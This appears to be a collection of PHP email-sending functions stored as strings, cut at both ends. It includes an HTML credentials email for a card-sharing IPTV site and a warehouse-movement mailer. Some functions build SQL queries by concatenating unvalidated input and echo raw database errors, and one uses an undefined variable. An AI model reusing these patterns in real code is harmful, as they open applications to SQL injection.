auto !important;\n\t\t\t\t }\n\n\t\t\t\t *[class*=\"mobile-hide\"] {\n\t\t\t\t\tdisplay: none !important;\n\t\t\t\t\twidth: 0 !important;\n\t\t\t\t\theight: 0 !important;\n\t\t\t\t\tline-height: 0 !important;\n\t\t\t\t\tfont-size: 0 !important;\n\t\t\t\t }\n\n\t\t\t\t td[class*=\"mobile-border\"] {\n\t\t\t\t\tborder: 0 !important;\n\t\t\t\t }\n\t\t\t\t }\n\t\t\t\t </style>\n\t\t\t\t</head>';\n\nif ($typePackage == \"IPTV\") {\n $corpo_email = $GLOBALS['head_email'];\n $corpo_email .= ' \n\t\t\t\t<body class=\"body\" style=\"padding:0; margin:0; display:block; background:#ffffff; -webkit-text-size-adjust:none\" bgcolor=\"#ffffff\">\n\t\t\t\t<table align=\"center\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\" height=\"100%\">\n\t\t\t\t <tr>\n\t\t\t\t <td align=\"center\" valign=\"top\" bgcolor=\"#ffffff\" width=\"100%\">\n\n\t\t\t\t <table cellspacing=\"0\" cellpadding=\"0\" width=\"100%\">\n\t\t\t\t <tr>\n\t\t\t\t\t<td style=\"background:#1f1f1f\" width=\"100%\">\n\n\t\t\t\t\t <center>\n\t\t\t\t\t <table cellspacing=\"0\" cellpadding=\"0\" width=\"600\" class=\"w320\">\n\t\t\t\t\t <tr>\n\t\t\t\t\t\t<td valign=\"top\" class=\"mobile-block mobile-no-padding-bottom mobile-center\" width=\"270\" style=\"background:#1f1f1f;padding:10px 10px 10px 20px;\">\n\t\t\t\t\t\t <a data-click-track-id=\"1262\" href=\"#\" style=\"text-decoration:none;\">\n\t\t\t\t\t\t <img src=\"http://www.satopen.cc/uploads/1/3/3/0/13301587/1460553356.png\" width=\"142\" height=\"30\" alt=\"Your Logo\"/>\n\t\t\t\t\t\t </a>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td valign=\"top\" class=\"mobile-block mobile-center\" width=\"270\" style=\"background:#1f1f1f;padding:10px 15px 10px 10px\">\n\t\t\t\t\t\t <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"mobile-center-block\" align=\"right\">\n\t\t\t\t\t\t <tr>\n\t\t\t\t\t\t <td align=\"right\">\n\t\t\t\t\t\t\t<a data-click-track-id=\"2952\" href=\"https://www.facebook.com/Satopencc-Best-CardSharingIPTV-Server-1738104009796186\">\n\t\t\t\t\t\t\t<img src=\"http://keenthemes.com/assets/img/emailtemplate/social_facebook.png\" width=\"30\" height=\"30\" alt=\"social icon\"/>\n\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t </td>\n\t\t\t\t\t\t </tr>\n\t\t\t\t\t\t </table>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t </tr>\n\t\t\t\t\t </table>\n\t\t\t\t\t </center>\n\n\t\t\t\t\t</td>\n\t\t\t\t </tr>\n\t\t\t\t <tr>\n\t\t\t\t\t<td style=\"border-bottom:1px solid #e7e7e7;\">\n\n\t\t\t\t\t <center>\n\t\t\t\t\t <table cellpadding=\"0\" cellspacing=\"0\" width=\"600\" class=\"w320\">\n\t\t\t\t\t <tr>\n\t\t\t\t\t\t<td align=\"left\" class=\"mobile-padding\" style=\"padding:20px 20px 0\">\n\n\t\t\t\t\t\t <br class=\"mobile-hide\" />\n\n\t\t\t\t\t\t <h1>Account Data on SatOpen.cc!</h1>\n\n\t\t\t\t\t\t <br>\n\t\t\t\t\t\t <b>Your Data for Help Area:</b><br><br>';\n $corpo_email .= $corpo_credenziali;\n $corpo_email .= '\n\t\t\t\t\t\t<br>\n\t\t\t\t\t\t <br>\n\n\t\t\t\t\t\t <table cellspacing=\"0\" cellpadding=\"0\" width=\"100%\" bgcolor=\"#ffffff\">\n\t\t\t\t\t\t <tr>\n\t\t\t\t\t\t <td style=\"width:130px;background:#D84A38;\">\n\t\t\t\t\t\t\t<div>\n\t\t\t\t\t\t\t <!--[if mso]>\n\t\t\t\t\t\t\t <v:rect xmlns:v=\"urn:schemas-microsoft-com:vml\" xmlns:w=\"urn:schemas-microsoft-com:office:word\" href=\"#\" style=\"height:33px;v-text-anchor:middle;width:130px;\" stroke=\"f\" fillcolor=\"#D84A38\">\n\t\t\t\t\t\t\t <w:anchorlock/>\n\t\t\t\t\t\t\t <center>\n\t\t\t\t\t\t\t <![endif]-->\n\t\t\t\t\t\t\t <a href=\"http://satopen.cc\"\n\t\t\t\t\t\t\tstyle=\"background-color:#D84A38;color:#ffffff;display:inline-block;font-family:sans-serif;font-size:18px;font-weight:bold;line-height:33px;text-align:center;text-decoration:none;width:130px;-webkit-text-size-adjust:none;\">SatOpen.CC</a>\n\t\t\t\t\t\t\t <!--[if mso]>\n\t\t\t\t\t\t\t </center>\n\t\t\t\t\t\t\t </v:rect> \n\t\t\t\t\t\t\t <![endif]-->\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t </td>\n\t\t\t\t\t\t <td width=\"316\" style=\"background-color:#ffffff; font-size:0; line-height:0;\">&nbsp;</td>\n\t\t\t\t\t\t </tr>\n\t\t\t\t\t\t </table>\n\t\t\t\t\t\t <br><br>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td class=\"mobile-hide\" style=\"padding-top:20px;padding-bottom:0;vertical-align:bottom\">\n\t\t\t\t\t\t <table cellspacing=\"0\" cellpadding=\"0\" width=\"100%\">\n\t\t\t\t\t\t <tr>\n\t\t\t\t\t\t <td align=\"right\" valign=\"bottom\" width=\"220\" style=\"padding-right:20px; padding-bottom:0; vertical-align:bottom;\">\n\t\t\t\t\t\t <img style=\"display:block\" src=\"https://www.filepicker.io/api/file/AvB8yENR7OdiUqonW05y\" width=\"174\" height=\"294\" alt=\"iphone\"/>\n\t\t\t\t\t\t </td>\n\t\t\t\t\t\t </tr>\n\t\t\t\t\t\t </table>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t </tr>\n\t\t\t\t\t </table>\n\t\t\t\t\t </center>\n\n\t\t\t\t\t</td>\n\t\t\t\t </tr>\n\t\t\t\t <tr>\n\t\t\t\t\t<td valign=\"top\" style=\"background-color:#f8f8f8;border-bottom:1px solid #e7e7e7;\">\n\n\t\t\t\t\t</td>\n\t\t\t\t </tr>\n\t\t\t\t <tr>\n\t\t\t\t\t<td style=\"background-color:#1f1f1f;\">\n\t\t\t\t\t <center>\n\t\t\t\t\t <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"600\" class=\"w320\" style=\"height:100%;color:#ffffff\" bgcolor=\"#1f1f1f\" >\n\t\t\t\t\t <tr>\n\t\t\t\t\t\t<td align=\"right\" valign=\"middle\" class=\"mobile-padding\" style=\"font-size:12px;padding:20px; background-color:#1f1f1f; color:#ffffff; text-align:left; \">\n\t\t\t\t\t\t <a style=\"color:#ffffff;\" href=\"http://www.satopen.cc/support.html\">Contact Us</a>&nbsp;&nbsp;|&nbsp;&nbsp;\n\t\t\t\t\t\t <a style=\"color:#ffffff;\" href=\"https://www.facebook.com/Satopencc-Best-CardSharingIPTV-Server-1738104009796186\">Facebook</a>&nbsp;&nbsp;|&nbsp;&nbsp;\n\t\t\t\t\t\t <a style=\"color:#ffffff;\" href=\"http://www.satopen.cc/support.html\">Support</a>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t </tr>\n\t\t\t\t\t </table>\n\t\t\t\t\t </center>\n\t\t\t\t\t</td>\n\t\t\t\t </tr>\n\t\t\t\t </table>\n\n\t\t\t\t </td>\n\t\t\t\t </tr>\n\t\t\t\t</table>\n\t\t\t\t</body>\n\t\t\t\t</html>\n\t\t\t\t';\n}\n\nelse {\n $corpo_email = $GLOBALS['head_email'];\n $corpo_email .= ' \n\t\t\t\t<body class=\"body\" style=\"padding:0; margin:0; display:block; background:#ffffff; -webkit-text-size-adjust:none\" bgcolor=\"#ffffff\">\n\t\t\t\t<table align=\"center\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\" height=\"100%\">\n\t\t\t\t <tr>\n\t\t\t\t <td align=\"center\" valign=\"top\" bgcolor=\"#ffffff\" width=\"100%\">\n\n\t\t\t\t <table cellspacing=\"0\" cellpadding=\"0\" width=\"100%\">\n\t\t\t\t <tr>\n\t\t\t\t\t<td style=\"background:#1f1f1f\" width=\"100%\">\n\n\t\t\t\t\t <center>\n\t\t\t\t\t <table cellspacing=\"0\" cellpadding=\"0\" width=\"600\" class=\"w320\">\n\t\t\t\t\t <tr>\n\t\t\t\t\t\t<td valign=\"top\" class=\"mobile-block mobile-no-padding-bottom mobile-center\" width=\"270\" style=\"background:#1f1f1f;padding:10px 10px 10px 20px;\">\n\t\t\t\t\t\t <a data-click-track-id=\"1262\" href=\"#\" style=\"text-decoration:none;\">\n\t\t\t\t\t\t <img src=\"http://www.satopen.cc/uploads/1/3/3/0/13301587/1460553356.png\" width=\"142\" height=\"30\" alt=\"Your Logo\"/>\n\t\t\t\t\t\t </a>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td valign=\"top\" class=\"mobile-block mobile-center\" width=\"270\" style=\"background:#1f1f1f;padding:10px 15px 10px 10px\">\n\t\t\t\t\t\t <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"mobile-center-block\" align=\"right\">\n\t\t\t\t\t\t <tr>\n\t\t\t\t\t\t <td align=\"right\">\n\t\t\t\t\t\t\t<a data-click-track-id=\"2952\" href=\"https://www.facebook.com/Satopencc-Best-CardSharingIPTV-Server-1738104009796186\">\n\t\t\t\t\t\t\t<img src=\"http://keenthemes.com/assets/img/emailtemplate/social_facebook.png\" width=\"30\" height=\"30\" alt=\"social icon\"/>\n\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t </td>\n\t\t\t\t\t\t </tr>\n\t\t\t\t\t\t </table>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t </tr>\n\t\t\t\t\t </table>\n\t\t\t\t\t </center>\n\n\t\t\t\t\t</td>\n\t\t\t\t </tr>\n\t\t\t\t <tr>\n\t\t\t\t\t<td style=\"border-bottom:1px solid #e7e7e7;\">\n\n\t\t\t\t\t <center>\n\t\t\t\t\t <table cellpadding=\"0\" cellspacing=\"0\" width=\"600\" class=\"w320\">\n\t\t\t\t\t <tr>\n\t\t\t\t\t\t<td align=\"left\" class=\"mobile-padding\" style=\"padding:20px 20px 0\">\n\n\t\t\t\t\t\t <br class=\"mobile-hide\" />\n\n\t\t\t\t\t\t <h1>Account Data on SatOpen.cc!</h1>\n\n\t\t\t\t\t\t <br>\n\t\t\t\t\t\t <b>Your Data for Help Area:</b><br><br>';\n $corpo_email .= $corpo_credenziali;\n $corpo_email .= '\n\n\t\t\t\t\t\t<br>\n\t\t\t\t\t\t <br>\n\n\t\t\t\t\t\t <table cellspacing=\"0\" cellpadding=\"0\" width=\"100%\" bgcolor=\"#ffffff\">\n\t\t\t\t\t\t <tr>\n\t\t\t\t\t\t <td style=\"width:130px;background:#D84A38;\">\n\t\t\t\t\t\t\t<div>\n\t\t\t\t\t\t\t <!--[if mso]>\n\t\t\t\t\t\t\t <v:rect xmlns:v=\"urn:schemas-microsoft-com:vml\" xmlns:w=\"urn:schemas-microsoft-com:office:word\" href=\"#\" style=\"height:33px;v-text-anchor:middle;width:130px;\" stroke=\"f\" fillcolor=\"#D84A38\">\n\t\t\t\t\t\t\t <w:anchorlock/>\n\t\t\t\t\t\t\t <center>\n\t\t\t\t\t\t\t <![endif]-->\n\t\t\t\t\t\t\t <a href=\"http://satopen.cc\"\n\t\t\t\t\t\t\tstyle=\"background-color:#D84A38;color:#ffffff;display:inline-block;font-family:sans-serif;font-size:18px;font-weight:bold;line-height:33px;text-align:center;text-decoration:none;width:130px;-webkit-text-size-adjust:none;\">SatOpen.cc</a>\n\t\t\t\t\t\t\t <!--[if mso]>\n\t\t\t\t\t\t\t </center>\n\t\t\t\t\t\t\t </v:rect> \n\t\t\t\t\t\t\t <![endif]-->\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t </td>\n\t\t\t\t\t\t <td width=\"316\" style=\"background-color:#ffffff; font-size:0; line-height:0;\">&nbsp;</td>\n\t\t\t\t\t\t </tr>\n\t\t\t\t\t\t </table>\n\t\t\t\t\t\t <br><br>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td class=\"mobile-hide\" style=\"padding-top:20px;padding-bottom:0;vertical-align:bottom\">\n\t\t\t\t\t\t <table cellspacing=\"0\" cellpadding=\"0\" width=\"100%\">\n\t\t\t\t\t\t <tr>\n\t\t\t\t\t\t <td align=\"right\" valign=\"bottom\" width=\"220\" style=\"padding-right:20px; padding-bottom:0; vertical-align:bottom;\">\n\t\t\t\t\t\t <img style=\"display:block\" src=\"https://www.filepicker.io/api/file/AvB8yENR7OdiUqonW05y\" width=\"174\" height=\"294\" alt=\"iphone\"/>\n\t\t\t\t\t\t </td>\n\t\t\t\t\t\t </tr>\n\t\t\t\t\t\t </table>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t </tr>\n\t\t\t\t\t </table>\n\t\t\t\t\t </center>\n\n\t\t\t\t\t</td>\n\t\t\t\t </tr>\n\t\t\t\t <tr>\n\t\t\t\t\t<td valign=\"top\" style=\"background-color:#f8f8f8;border-bottom:1px solid #e7e7e7;\">\n\n\t\t\t\t\t</td>\n\t\t\t\t </tr>\n\t\t\t\t <tr>\n\t\t\t\t\t<td style=\"background-color:#1f1f1f;\">\n\t\t\t\t\t <center>\n\t\t\t\t\t <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"600\" class=\"w320\" style=\"height:100%;color:#ffffff\" bgcolor=\"#1f1f1f\" >\n\t\t\t\t\t <tr>\n\t\t\t\t\t\t<td align=\"right\" valign=\"middle\" class=\"mobile-padding\" style=\"font-size:12px;padding:20px; background-color:#1f1f1f; color:#ffffff; text-align:left; \">\n\t\t\t\t\t\t <a style=\"color:#ffffff;\" href=\"http://www.satopen.cc/support.html\">Contact Us</a>&nbsp;&nbsp;|&nbsp;&nbsp;\n\t\t\t\t\t\t <a style=\"color:#ffffff;\" href=\"https://www.facebook.com/Satopencc-Best-CardSharingIPTV-Server-1738104009796186\">Facebook</a>&nbsp;&nbsp;|&nbsp;&nbsp;\n\t\t\t\t\t\t <a style=\"color:#ffffff;\" href=\"http://www.satopen.cc/support.html\">Support</a>\n\t\t\t\t\t\t</td>\n\t\t\t\t\t </tr>\n\t\t\t\t\t </table>\n\t\t\t\t\t </center>\n\t\t\t\t\t</td>\n\t\t\t\t </tr>\n\t\t\t\t </table>\n\n\t\t\t\t </td>\n\t\t\t\t </tr>\n\t\t\t\t</table>\n\t\t\t\t</body>\n\t\t\t\t</html>\n\t\t\t\t';\n\n}\n\n return array($corpo_email,$corpo_credenziali);\n}", "function enviar_mail_mov($datos)\r\n{\r\n\tglobal $db,$titulo_pagina;\r\n\t//ver el origen y destino\r\n\t$sql = \"select temp1.nombre as origen, temp1.id_deposito as id_origen,temp2.nombre as destino, temp2.id_deposito as id_destino from movimiento_material join depositos as temp1 on (temp1.id_deposito = deposito_origen) join depositos as temp2 on (temp2.id_deposito = deposito_destino) where id_movimiento_material = \".$datos['Id'];\r\n $result = $db->Execute($sql) or die($db->ErrorMsg().\"<br>Error Enviando mail\");\r\n\r\n $origen = $result->fields['origen'];\r\n\t$destino = $result->fields['destino'];\r\n $id_origen = $result->fields['id_origen'];\r\n $id_destino = $result->fields['id_destino'];\r\n\r\n\t//buscar el responsable del deposito origen\r\n\t$sql = \"select usuarios.mail from depositos join responsable_deposito using (id_deposito) join usuarios using (id_usuario) where id_deposito = \".$id_origen;\r\n\t$result = $db->Execute($sql) or die($db->ErrorMsg().\"<br>Error Enviando mail\");\r\n\t$responsable_origen = array();\r\n\twhile (!$result->EOF) {\r\n\t\t$responsable_origen[] = $result->fields['mail'];\r\n\t\t$result->MoveNext();\r\n\t}\r\n\r\n\t//buscar el responsable del deposito origen\r\n\t$sql = \"select usuarios.mail from depositos join responsable_deposito using (id_deposito) join usuarios using (id_usuario) where id_deposito = \".$id_destino;\r\n $result = $db->Execute($sql) or die($db->ErrorMsg().\"<br>Error Enviando mail\");\r\n\t$responsable_destino = array();\r\n\twhile (!$result->EOF) {\r\n\t\t$responsable_destino[] = $result->fields['mail'];\r\n\t\t$result->MoveNext();\r\n\t}\r\n\r\n\t//tengo que prepara el \"para\" para enviar el mail\r\n\t//el problema es que se pueden repetir los mail\r\n\t//armo un arreglo con los mail\r\n\t$mail_para = array ();\r\n //la variable \"$responsable_origen\" es arreglo por eso hago un merge para que me quede solo un arreglo\r\n $mail_para= array_merge($mail_para,$responsable_origen);\r\n //la variable \"$responsable_destino\" es arreglo por eso hago un merge para que me quede solo un arreglo\r\n $mail_para= array_merge($mail_para,$responsable_destino);\r\n //saco el tamaño del arreglo por que no se como me quedo despues de los merge\r\n $i=sizeof($mail_para);\r\n\t//$para = \"[email protected],\".join(\",\",$responsable_origen).\",\".join(\",\",$responsable_destino);\r\n\tif($origen==\"New Tree\" || $destino==\"New Tree\"){\r\n\t $mail_para[$i]=\"[email protected]\";\r\n\t $i++;\r\n\t $mail_para[$i]=\"[email protected]\";\r\n\t $i++;\r\n\t //$para.=\",[email protected],[email protected]\";\r\n\t}\r\n\t//agregar responsables\r\n\r\n\t$asunto = \"$titulo_pagina Nº: \".$datos['Id'];\r\n\t$contenido = \"$titulo_pagina Nº \".$datos['Id'].\".\\n\";\r\n\t$contenido.= \"Depósito de Origen: \".$origen.\".\\n\";\r\n\t$contenido.= \"Depósito de Destino: \".$destino.\".\\n\";\r\n\t$contenido.= \"Autorizado por \".$datos['Usuario'].\" el día \".fecha($datos[\"Fecha\"]).\".\\n\";\r\n\t$contenido.= \"\\nDetalle del movimiento: \\n\";\r\n\r\n\r\n\t//obtener el detalle del movimiento\r\n\t$sql = \"select cantidad,descripcion from detalle_movimiento where id_movimiento_material = \".$datos['Id'];\r\n $result = $db->Execute($sql) or die($db->ErrorMsg().\"<br>Error Enviando mail\");\r\n\r\n $contenido.= \"Cantidad | Descripción \\n\";\r\n $contenido.= \"--------------------------------------------------------------\\n\";\r\n\r\n while (!$result->EOF) {\r\n \t$contenido.=\" \".$result->fields['cantidad'].\" \".$result->fields['descripcion'].\"\\n\";\r\n \t$result->MoveNext();\r\n }\r\n\r\n\t//agrego datos si tiene logistica integrada\r\n\tif ($datos['id_logistica_integrada']!=''){\r\n\t\t//todo lo que sigue es para el para\r\n\r\n\t\t$mail_para[$i]=\"[email protected]\";\r\n\t\t$i++;\r\n\t\t$mail_para[$i]=\"[email protected]\";\r\n\t\t$i++;\r\n\t\t//$para = $para. \" [email protected]\";\r\n\t\t//$para = $para. \", [email protected]\";\r\n\t\t$sql = \"select * from\r\n\t\t\t\t (select (nombre|| ' ' ||apellido) as usuario, mail from sistema.usuarios)as lado_a\r\n\t\t\t\tjoin\r\n\t\t\t\t (select usuario from mov_material.log_movimiento where id_movimiento_material = \".$datos['Id'].\"\r\n\t\t\t\t group by usuario\r\n\t\t\t\t )as lado_b\r\n\t\t\t\tusing (usuario)\";\r\n \t$result_mail = $db->Execute($sql) or die($db->ErrorMsg().\"<br>Error Enviando mail (consulta trae mail a partir de log)\");\r\n\r\n \twhile (!$result_mail->EOF){\r\n \t\t//$para = $para. \", \" . $result_mail->fields['mail'];\r\n \t\t$mail_para[$i]=$result_mail->fields['mail'];\r\n \t\t$i++;\r\n \t\t$result_mail->MoveNext();\r\n \t}\r\n\r\n \t//saco el tamaño del arreglo para asegurarme que esta en la posicion correcta para seguir\r\n\t\t$i=sizeof($mail_para);\r\n\r\n \t//si esta asociado a una licitacion\r\n\t\tif ($datos['asociado_a']=='lic') {\r\n\t\t\t$sql = \"select mail as mail_patrocinador, mail_lider from (\r\n\t\t\t\t\tselect mail as mail_lider, patrocinador from\r\n\t\t\t\t\t(\r\n\t\t\t\t\tselect id_licitacion, lider, patrocinador from\r\n\t\t\t\t\t (select id_licitacion from mov_material.movimiento_material where id_movimiento_material = \".$datos['Id'].\") as a\r\n\t\t\t\t\tjoin\r\n\t\t\t\t\t licitaciones.licitacion\r\n\t\t\t\t\tusing (id_licitacion)\r\n\t\t\t\t\t)as b\r\n\t\t\t\t\tleft join sistema.usuarios\r\n\t\t\t\t\ton id_usuario = lider\r\n\t\t\t\t\t)as c\r\n\t\t\t\t\tleft join sistema.usuarios\r\n\t\t\t\t\ton id_usuario = patrocinador\";\r\n\t\t $result_mail = $db->Execute($sql) or die($db->ErrorMsg().\"<br>Error Enviando mail (consulta trae mail a partir de log)\");\r\n\t\t if ($result_mail->fields['mail_lider']!=''){\r\n\t\t \t$mail_para[$i]=$result_mail->fields['mail_lider'];\r\n\t\t\t\t$i++;\r\n\t\t \t//$para = $para. \", \".$result_mail->fields['mail_lider'];\r\n\t\t }\r\n\t\t if ($result_mail->fields['mail_patrocinador']!=''){\r\n\t\t \t$mail_para[$i]=$result_mail->fields['mail_patrocinador'];\r\n\t\t\t\t$i++;\r\n\t\t \t//$para = $para. \", \".$result_mail->fields['mail_patrocinador'];\r\n\t\t }\r\n\t\t}\r\n\r\n\t\t//si esta asociado a un caso\r\n\t\tif ($datos['asociado_a']=='caso'){\r\n\t\t\t$mail_para[$i]=\"[email protected]\";\r\n\t\t\t$i++;\r\n\t\t\t$mail_para[$i]=\"[email protected]\";\r\n\t\t\t$i++;\r\n\t\t\t//$para = $para. \", [email protected], [email protected] \";\r\n\t\t}\r\n\r\n\t\t//todo lo que sigue es para el contenido\r\n\t\t$sql = \"select * from mov_material.logistica_integrada where id_logistica_integrada = \". $datos['id_logistica_integrada'];\r\n\t\t$result = $db->Execute($sql) or die($db->ErrorMsg().\"<br>Error Enviando mail (consulta trae mail a partir de log)\");\r\n\t\t$contenido.=\"\\n\\n\\n\";\r\n\t\t$contenido.=\"----------------------- Logistica Integrada -------------------\\n\\n\";\r\n\t\t$contenido.=\"Dirección: \". $result->fields['direccion'] .\"\\n\";\r\n\t\t$contenido.=\"Fecha de envio: \". fecha ($result->fields['fecha_envio_logis']) .\"\\n\";\r\n\t\t$contenido.=\"Contacto: \". $result->fields['contacto'] .\"\\n\";\r\n\t\t$contenido.=\"Telefono: \". $result->fields['telefono'] .\"\\n\";\r\n\t\t$contenido.=\"Código Postal: \". $result->fields['cod_pos'] .\"\\n\\n\";\r\n\t\t$contenido.= \"--------------------------------------------------------------\\n\";\r\n\t}\r\n\t//fin de agrego datos si tiene logistica integrada\r\n\t//print_r ($mail_para);\r\n\t$para=elimina_repetidos($mail_para,0);\r\n\t//no envia el mail a juan manuel lo saco del string, en caso que se encuentre ultimo el mail\r\n\t$para=ereg_replace(\"[email protected]\",\"\",$para);\r\n\t//no envia el mail a juan manuel lo saco del string, en caso que se encuentre distinto del ultimo el mail\r\n\t$para=ereg_replace(\"[email protected],\",\"\",$para);\r\n/*\techo \"<br> los ok: \".$para;\r\n\tdie();*/\r\n\tenviar_mail($para, $asunto, $contenido,'','','',0);\r\n}", "function send_email($to,$subject,$html,$text,$bcc_admin){\r\n\r\n\t\tif(!is_array($to)) $to = array($to);\r\n\r\n\t\tif($GLOBALS['server_info']['environment']=='dev') return true;\r\n\r\n\t\t@include_once($GLOBALS['server_info']['physical_root'].'inc/htmlMimeMail5/htmlMimeMail5.php');\r\n\t\t@include_once('/var/www/monrovia.com/root/inc/htmlMimeMail5/htmlMimeMail5.php');\t\t\t\t// LIVE\r\n\t\t@include_once('/var/www/vhosts/tpgphpdev1.net/httpdocs/inc/htmlMimeMail5/htmlMimeMail5.php');\t// STAGING\r\n\r\n\t\t$mail = new htmlMimeMail5();\r\n\t\t$mail->setHTMLCharset('UTF-8');\r\n\t\t$mail->setHeadCharset('UTF-8');\r\n\t\t$mail->setTextCharset('UTF-8');\r\n\t\t//if($_SERVER[\"HTTP_HOST\"]!='') $mail->setFrom('Monrovia Website <[email protected]>');\r\n\t\tif($GLOBALS['server_info']['environment']=='prod') $mail->setFrom('Monrovia Website <[email protected]>');\r\n\t\t$mail->setSubject($subject);\r\n\r\n\t\tif($text=='') $text = $html;\r\n\r\n\t\t$mail->setText($text);\r\n\t\t$mail->setHTML($html);\r\n\t\tif($GLOBALS['admin_email']!=''&&$bcc_admin&&$GLOBALS['admin_email']!=$to[0]) $mail->setBcc($GLOBALS['admin_email']);\r\n\t\t$result = @$mail->send($to);\r\n\t\treturn ($result===true);\r\n\t}", "function send_email($user_mail, $subject, $message){\n// headers here \n$Name = \"Campusfamz.com\";\n$email=\"[email protected]\"; // Change this address within quotes to your address\n$headers = \"From: \". $Name . \"<\" . $email . \">\";\n$headers = \"Content-Type: text/html; charset=iso-8859-1\\n\".$headers;\n// for html mail un-comment the above line\n\n// mail funciton will return true if it is successful\nif(mail($user_email, $subject,\n\"<!DOCTYPE html PUBLIC '-//WAPFORUM//DTD XHTML Mobile 1.0//EN' 'http://www.wapforum.org/DTD/xhtml-mobile10.dtd'>\n<html xmlns='http://www.w3.org/1999/xhtml'>\n<head>\n<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />\n<title>CampusFamz.com</title>\n<meta name='HandheldFriendly' content='True' />\n</head>\n<style type='text/css'>\nbody {\n\twidth: 99%;\n\tfont-family: 'lucida grande',tahoma,verdana,arial,sans-serif;\n}\n.sitename {\n\tcolor: white;\n\tfont-family: 'lucida grande',tahoma,verdana,arial,sans-serif;\n\ttext-align: center;\n\tbackground-color:#005CB9;padding:5px;\n\tfont-weight:bold;\n\tfont-size:25px;\n}\n.content{\n\tfont-size:14px;\n\tpadding-top:5px; padding-bottom:5px;\n\tpadding-left: 20px;\n\tborder: ridge;\n\tborder-width:thin;\n\tborder-color:#666;\n}\ninput[type=button] {\n\tbackground-color:#005CB9;padding:3px;\n\tcolor:white;\n}\n</style>\n<body>\n<div class='sitename'>Campusfamz</div>\n<div class='content'>\n$message\n</html>\",\"$headers\"));\n\t\n}", "function sendMail($emailFrom, $fromName, $emailTo, $nameTo, $subject, $body, $currentLanguage) {\n\n\t\trequire_once(\"library/phpmailer/PHPMailerAutoload.php\");\n\t\t$settings = new View(\"settings\", $currentLanguage, \"lang_id\");\n\n\t\t$body = nl2br($body);\n\t\t$body = str_replace(array(\"\\\n \", \"\\\\r\", \"\\\\n\", \"bcc:\"), \"<br/>\", $body);\n\n\t\tif (is_file(\"images/logo.png\")) {\n\t\t\t$logo = $settings->site_host . \"images/logo.png\";\n\t\t} elseif (is_file(\"images/logo.svg\")) {\n\t\t\t$logo = $settings->site_host . \"images/logo.svg\";\n\t\t} elseif (is_file(\"images/logo.jpg\")) {\n\t\t\t$logo = $settings->site_host . \"images/logo.jpg\";\n\t\t}\n\n\t\t$socials = \"\";\n\t\tif ($settings->site_facebook != \"\") {\n\t\t\t$socials .= '<a style=\"color: #000;font-family:Arial, sans-serif;font-size: 14px;line-height: 21px;text-transform: lowercase;\" href=\"' . $settings->site_facebook . '\" title=\"Facebook stranica ' . $settings->site_host . '\" target=\"_blank\"><img style=\"width: 30px;margin: 0 5px;\" src=\"' . $settings->site_host . 'images/socials/facebook.png\" alt=\"Facebook stranica ' . $settings->site_firm . '\"></a>';\n\t\t}\n\t\tif ($settings->site_twitter != \"\") {\n\t\t\t$socials .= '<a style=\"color:#000;font-family: Arial, sans-serif;font-size:14px;line-height:21px;text-transform:lowercase;\" href=\"' . $settings->site_twitter . '\" title=\"Twitter stranica ' . $settings->site_host . '\" target=\"_blank\"><img style=\"width: 30px;margin: 0 5px;\" src=\"' . $settings->site_host . 'images/socials/twitter.png\" alt=\"Twitter stranica ' . $settings->site_firm . '\"></a>';\n\t\t}\n\t\tif ($settings->site_google_plus != \"\") {\n\t\t\t$socials .= '<a style=\"color:#000;font-family: Arial, sans-serif;font-size:14px;line-height:21px;text-transform:lowercase;\" href=\"' . $settings->site_google_plus . '\" title=\"Google Plus stranica ' . $settings->site_host . '\" target=\"_blank\"><img style=\"width: 30px;margin: 0 5px;\" src=\"' . $settings->site_host . 'images/socials/google-plus.png\" alt=\"Google Plus stranica ' . $settings->site_firm . '\"></a>';\n\t\t}\n\t\tif ($settings->site_instagram != \"\") {\n\t\t\t$socials .= '<a style=\"color:#000;font-family: Arial, sans-serif;font-size:14px;line-height:21px;text-transform:lowercase;\" href=\"' . $settings->site_instagram . '\" title=\"Instagram stranica ' . $settings->site_host . '\" target=\"_blank\"><img style=\"width: 30px;margin: 0 5px;\" src=\"' . $settings->site_host . 'images/socials/instagram.png\" alt=\"Instagram stranica ' . $settings->site_firm . '\"></a>';\n\t\t}\n\t\tif ($settings->site_pinterest != \"\") {\n\t\t\t$socials .= '<a style=\"color:#000;font-family: Arial, sans-serif;font-size:14px;line-height:21px;text-transform:lowercase;\" href=\"' . $settings->site_pinterest . '\" title=\"Pinterest stranica ' . $settings->site_host . '\" target=\"_blank\"><img style=\"width: 30px;margin: 0 5px;\" src=\"' . $settings->site_host . 'images/socials/pinterest.png\" alt=\"Pinterest stranica ' . $settings->site_firm . '\"></a>';\n\t\t}\n\t\tif ($settings->site_youtube != \"\") {\n\t\t\t$socials .= '<a style=\"color:#000;font-family: Arial, sans-serif;font-size:14px;line-height:21px;text-transform:lowercase;\" href=\"' . $settings->site_youtube . '\" title=\"You Tube stranica ' . $settings->site_host . '\" target=\"_blank\"><img style=\"width: 30px;margin: 0 5px;\" src=\"' . $settings->site_host . 'images/socials/youtube.png\" alt=\"You Tube stranica ' . $settings->site_firm . '\"></a>';\n\t\t}\n\t\tif ($settings->site_vimeo != \"\") {\n\t\t\t$socials .= '<a style=\"color:#000;font-family: Arial, sans-serif;font-size:14px;line-height:21px;text-transform:lowercase;\" href=\"' . $settings->site_vimeo . '\" title=\"Vimeo stranica ' . $settings->site_host . '\" target=\"_blank\"><img style=\"width: 30px;margin: 0 5px;\" src=\"' . $settings->site_host . 